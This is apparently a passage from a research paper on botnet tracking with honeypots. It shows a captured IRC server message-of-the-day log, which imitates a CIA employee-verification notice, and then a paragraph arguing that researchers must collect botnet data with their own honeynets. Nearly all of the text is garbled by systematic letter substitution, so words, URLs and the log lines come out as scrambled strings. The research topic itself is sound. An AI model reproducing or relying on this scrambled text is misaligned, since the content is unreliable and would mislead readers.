: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  X i U i e V  W R :
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  C I A
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  H X P a Q  R e V R X U c e  M a Q a g e P e Q W
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  W a V h i Q g W R Q ,  D C  2 0 5 0 5
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  A T T N :  E P S O R \ e e  V e U i f i c a W i R Q
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  H W W S : / / Z Z Z . g R X Y e U Q P e Q W V e c X U i W \ . R U g
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  N e W Z R U N  S e c X U i W \  J R b V
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  W e O c R P e  W R  W h e  G S O  N e W Z R U N  S e c X U i W \  J R b V
D i U e c W R U \  a  f U e e  V e U Y i c e  R f  G S O .
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  I f  \ R X  Z i V h  W R  i Q c O X d e  \ R X U  i Q f R U P a W i R Q  i Q
W h e  d i U e c W R U \  V i P S O \
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
h W W S : / / Z Z Z . g R Y e U Q P e Q W V e c X U i W \ . R U g / f R U X P / i Q d e [ . S h S ? a c W = P R V W & a P S ; C O D E = 0 0 & a P S ; f = 3 2
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  a Q d  S R V W  W h e  i Q f R U P a W i R Q  a b R X W  W h e  S R V i W i R Q
\ R X  a U e  V e e N i Q g  W R  f i O O . .
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  Y R X  c a Q  a W W a c h  a  f i O e  X S  W R  9 P b  i Q  V i ] e .
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 6  f R R  : E Q d  R f  / M O T D  c R P P a Q d .
: f R R  M O D E  f R R  : + G



Q U I T
E R R O R  : C l o V i n g  L i n k :  f o o [ U i p p e d ]  ( Q X i W :  f o o )

ThiV Wime, Ze coXld eYen collecW leVV infoUmaWion (bXW Vome YeU\ inWeUeVWing one). Again, Ze can'W XVe Whe

infoUmaWion Wo Vneak a boW inWo Whe BoWneW.

TheVe WhUee e[ampleV VhoZ WhaW Ze can noW Uel\ on 3Ud paUW\ infoUmaWion aboXW e[iVWing BoWneWV. We haYe Wo collecW

WheVe infoUmaWion oXUVelYeV XVing oZn Hone\neWV. EYen WhoXgh WZo of Whe WhUee e[ampleV aUe XnVWUipped and bad

configXUed IRC daemonV, Ze aUe noW able Wo gain enoXgh VenViWiYe infoUmaWion. IncompleWe infoUmaWion like S\manWec

offeUV jXVW infoUm oWheUV aboXW e[iVWing BoWneWV. BXW Ze aUe noW able Wo collecW an\ daWa aboXW Whe BoWneW XVage oU Whe

boWneWWeUV WhemVelYeV. We WhXV can noW leaUn moUe aboXW Whe WacWicV and moWiYeV of Whe opeUaWoUV of Whe BoWneWV ZiWh
infoUmaWion pUoYided onl\ b\ oWheUV. We haYe Wo WUack BoWneWV oXUVelYeV and Hone\poWV aUe a peUfecW VolXWion Wo help

XV in gaWheUing Whe neceVVaU\ infoUmaWion.


